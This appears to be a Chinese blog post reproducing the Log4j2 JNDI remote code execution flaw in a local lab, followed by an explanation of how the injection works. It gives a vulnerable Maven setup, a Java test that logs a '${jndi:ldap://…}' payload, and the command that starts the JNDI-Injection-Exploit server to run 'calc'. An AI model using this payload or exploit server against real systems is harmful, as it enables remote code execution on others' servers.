Log4j2 远程执行漏洞复现
Log4j2 远程执行漏洞复现
目录
构建新的maven项目,引入2.15以下的log4j-core,log4j-api的jar包
<dependencies>
<!-- org.apache.logging.log4j " log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
<!-- org.apache.logging.log4j " log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.13.3</version>
</dependency>
</dependencies>
编写测试代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class TestLog4j {
public static final Logger logger = LogManager.getLogger(TestLog4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
// logger.error( "${jndi:ldap://9dyoan.dnslog.cn}");
// 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
logger.error("${jndi:ldap://192.168.15.253:1389/5zcgjy}");
}
}/
下载JNDI测试服务器
https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md
JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证
下载到本地,为jar包形式
本地启动JNDI-Injection-Exploit
启动命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-
-C -远程class文件中要执行的命令
(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
-
-A - 服务器地址,可以是IP地址或者域名
(可选项 , 默认地址是第一个网卡地址)
命令会被作为参数传入Runtime.getRuntime().exec()
所以需要确保命令传入exec()方法可执行。
这里用到的是window调用计算器的命令calc
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "192.168.15.253"

启动TestLog4j 的main方法

即可弹出本地计算器,漏洞复现成功
漏洞解读
Apache Log4j2 远程代码执行漏洞,和很多注入攻击一样,能够得以实施的两个关键条件在于:
用户能够控制输入,或者说需要用户提供部分输入数据
用户提供的输入数据和原本程序要执行的代码进行了拼接,或者被当做代码执行
对于SQL注入,就是用户提交的数据,被数据库系统编译而产生了服务提供者预料之外的非"数据"行为
本次Apache Log4j2存在的远程代码执行漏洞也一样,未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行行为
攻击者通过JNDI注入漏洞,当程序将用户输入的数据记入日志时,利用用户能够控制向记录日志中输入数据的操作,来实现这段特殊的请求,可以出发Apache Log4j2中的远程代码执行漏洞
攻击者首先向漏洞服务器发起攻击请求,通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载漏洞服务器发起攻击请求(利用JNDI来执行LDAP协议注入的可执行代码)
记录的恶意负载被处罚后,服务器用过JNDI发起请求.由于攻击请求中的地址是攻击者控制的地址,因此其可以在请求相应中植入恶意可执行脚本,从而成功利用此漏洞在目标服务器上进行远程代码执行,进而攻击服务器

浙公网安备 33010602011771号